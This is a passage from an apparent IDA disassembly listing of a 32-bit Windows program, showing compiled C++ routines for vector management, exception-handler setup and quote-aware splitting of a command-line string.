		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A490:				; CODE XREF: ___:0040193Dj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_4020F4
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A4C0	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A4C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A501
		mov	esi, [esp+44h+arg_0]
		push	offset byte_446F30
		mov	ecx, esi
		call	sub_401861
		jmp	loc_40A634
; ---------------------------------------------------------------------------


loc_40A501:				; CODE XREF: sub_40A4C0+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_401690
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014D3
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A5E5
		push	ebx


loc_40A541:				; CODE XREF: sub_40A4C0+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A550


loc_40A547:				; CODE XREF: sub_40A4C0+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A547


loc_40A550:				; CODE XREF: sub_40A4C0+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A55F
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A55F:				; CODE XREF: sub_40A4C0+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401988
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A5AF
		test	cl, cl
		jz	short loc_40A597


loc_40A57B:				; CODE XREF: sub_40A4C0+D5j
		cmp	cl, 22h
		jnz	short loc_40A58C
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A597
		test	cl, cl
		jz	short loc_40A597


loc_40A58C:				; CODE XREF: sub_40A4C0+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A57B


loc_40A597:				; CODE XREF: sub_40A4C0+B9j
					; sub_40A4C0+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A5DA
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A5DA
		add	eax, 2
		jmp	short loc_40A5D6
; ---------------------------------------------------------------------------


loc_40A5AF:				; CODE XREF: sub_40A4C0+B5j
		test	cl, cl
		jz	short loc_40A5C4
		mov	dl, [edi]


loc_40A5B5:				; CODE XREF: sub_40A4C0+102j
		cmp	cl, dl
		jz	short loc_40A5C4
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5B5


loc_40A5C4:				; CODE XREF: sub_40A4C0+F1j
					; sub_40A4C0+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A5DA
		cmp	cl, [edi]
		jnz	short loc_40A5DA
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A5D6:				; CODE XREF: sub_40A4C0+EDj
		mov	[esp+48h+var_3C], eax


loc_40A5DA:				; CODE XREF: sub_40A4C0+DAj
					; sub_40A4C0+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A541
		pop	ebx


loc_40A5E5:				; CODE XREF: sub_40A4C0+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A5FD
		push	offset byte_446F30
		jmp	short loc_40A60A
; ---------------------------------------------------------------------------


loc_40A5FD:				; CODE XREF: sub_40A4C0+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F64
		mov	eax, [eax]
		push	eax


loc_40A60A:				; CODE XREF: sub_40A4C0+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_40158C
; ---------------------------------------------------------------------------


loc_40A634:				; CODE XREF: sub_40A4C0+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A4C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6C0	proc near		; CODE XREF: sub_4016AEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A6C0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A700	proc near		; CODE XREF: sub_40200Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_40A700	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A730	proc near		; CODE XREF: sub_401A87j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		retn	4
sub_40A730	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A750	proc near		; CODE XREF: sub_40146Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A750	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A770:				; CODE XREF: ___:0040149Cj
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A790	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A790	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7B0	proc near		; CODE XREF: sub_4017E4j
		mov	eax, [ecx+9]
		retn
sub_40A7B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7D0	proc near		; CODE XREF: sub_4014D3j
		mov	eax, [ecx+9]
		retn
sub_40A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7F0	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A7F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A820	proc near		; CODE XREF: sub_40158Cj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A820	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A870	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A87A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A87A:				; CODE XREF: sub_40A870+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A870	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8A0	proc near		; CODE XREF: sub_401F64j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A8B8
		mov	ecx, esi
		call	sub_401EE7


loc_40A8B8:				; CODE XREF: sub_40A8A0+Fj
		mov	ecx, esi
		call	sub_401D1B
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A8A0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8E0	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40164F
		push	eax
		mov	ecx, esi
		call	sub_4016EF
		pop	esi
		retn	4
sub_40A8E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A910	proc near		; CODE XREF: sub_401D1Bj
		mov	eax, [ecx+4]
		retn
sub_40A910	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A930	proc near		; CODE XREF: sub_40164Fj
		mov	eax, [ecx+8]
		retn
sub_40A930	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A950	proc near		; CODE XREF: sub_4016EFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D1B
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013CF
		mov	ecx, edi
		call	sub_401D1B
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A950	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9A0	proc near		; CODE XREF: sub_4019A6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40A9C0


loc_40A9B1:				; CODE XREF: sub_40A9A0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018B1
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A9B1


loc_40A9C0:				; CODE XREF: sub_40A9A0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A9A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A9E0:				; CODE XREF: sub_401EE7j
		push	0FFFFFFFFh
		push	offset loc_438B59
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		call	near ptr 760A0430h
		nop
		lea	edx, [esp+14h]
		push	offset dword_43F088
		push	edx
		call	sub_4368D2
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AA60	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436882
sub_40AA60	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AA80	proc near		; CODE XREF: sub_4013CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB4B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AAB3
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AAB5
; ---------------------------------------------------------------------------


loc_40AAB3:				; CODE XREF: sub_40AA80+26j
		mov	ebp, edi


loc_40AAB5:				; CODE XREF: sub_40AA80+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DCF
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402176
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB4B:				; CODE XREF: sub_40AA80+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40ABA9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402176
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ABA9:				; CODE XREF: sub_40AA80+D8j
		test	edi, edi
		jbe	short loc_40ABE3
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020AE
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40ABE3:				; CODE XREF: sub_40AA80+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AA80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC50	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40AC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC70	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40ACA2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40AC86:				; CODE XREF: sub_40AC70+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_402121
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40AC86
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ACA2:				; CODE XREF: sub_40AC70+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AC70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACC0	proc near		; CODE XREF: sub_402176j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40ACE7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40ACD6:				; CODE XREF: sub_40ACC0+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_402121
		add	esi, 4
		dec	edi
		jnz	short loc_40ACD6
		pop	esi
		pop	ebx


loc_40ACE7:				; CODE XREF: sub_40ACC0+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40ACC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD00	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014CE
sub_40AD00	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD30	proc near		; CODE XREF: sub_402121j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401DE8
		add	esp, 8
		retn	8
sub_40AD30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD60	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40AD7D
		mov	edx, [esp+arg_8]
		push	esi


loc_40AD71:				; CODE XREF: sub_40AD60+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40AD71
		pop	esi

locret_40AD7D:				; CODE XREF: sub_40AD60+Aj
		retn
sub_40AD60	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD90	proc near		; CODE XREF: sub_4020AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40ADB2
		mov	eax, [esp+arg_8]
		push	esi


loc_40ADA1:				; CODE XREF: sub_40AD90+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40ADA1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40ADB2:				; CODE XREF: sub_40AD90+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40AD90	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40ADF0	proc near		; CODE XREF: sub_4014CEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40ADFA
		xor	eax, eax


loc_40ADFA:				; CODE XREF: sub_40ADF0+6j
		shl	eax, 2
		push	eax
		call	sub_43689A
sub_40ADF0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE20	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE3B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE3B:				; CODE XREF: sub_40AE20+11j
		retn
sub_40AE20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE50	proc near		; CODE XREF: sub_401E6Aj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E014
		retn
sub_40AE50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AE70:				; CODE XREF: ___:00401717j
					; ___:loc_402027j
		push	esi
		mov	esi, ecx
		call	sub_402031
		test	byte ptr [esp+8], 1
		jz	short loc_40AE88
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AE88:				; CODE XREF: ___:0040AE7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEA0	proc near		; CODE XREF: sub_402031j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AEA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43E014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_401744


loc_40AED1:				; DATA XREF: sub_40AEE2o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AEE2	proc near		; DATA XREF: ___:0043F1C4o
		mov	eax, offset loc_40AED1
		retn
sub_40AEE2	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF10	proc near		; CODE XREF: sub_4014BAj
		call	sub_401708
		jmp	sub_4017B2
sub_40AF10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF30	proc near		; CODE XREF: sub_401B18j
		call	sub_40161D
		jmp	sub_4017C1
sub_40AF30	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF50	proc near		; CODE XREF: sub_4013D4j
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_40141F
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AF72
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AF72:				; CODE XREF: sub_40AF50+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AF50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AFB7
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_40175D
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AFB7:				; CODE XREF: ___:0040AF99j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AFD0	proc near		; CODE XREF: sub_401744j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AFEC
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401758
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40AFEC:				; CODE XREF: sub_40AFD0+8j
		pop	esi
		retn
sub_40AFD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B000:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B020	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40B020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40B04E:				; DATA XREF: sub_40B061o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B020	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B061	proc near		; DATA XREF: ___:0043F224o
		mov	eax, offset loc_40B04E
		retn
sub_40B061	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B090	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B0D2
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
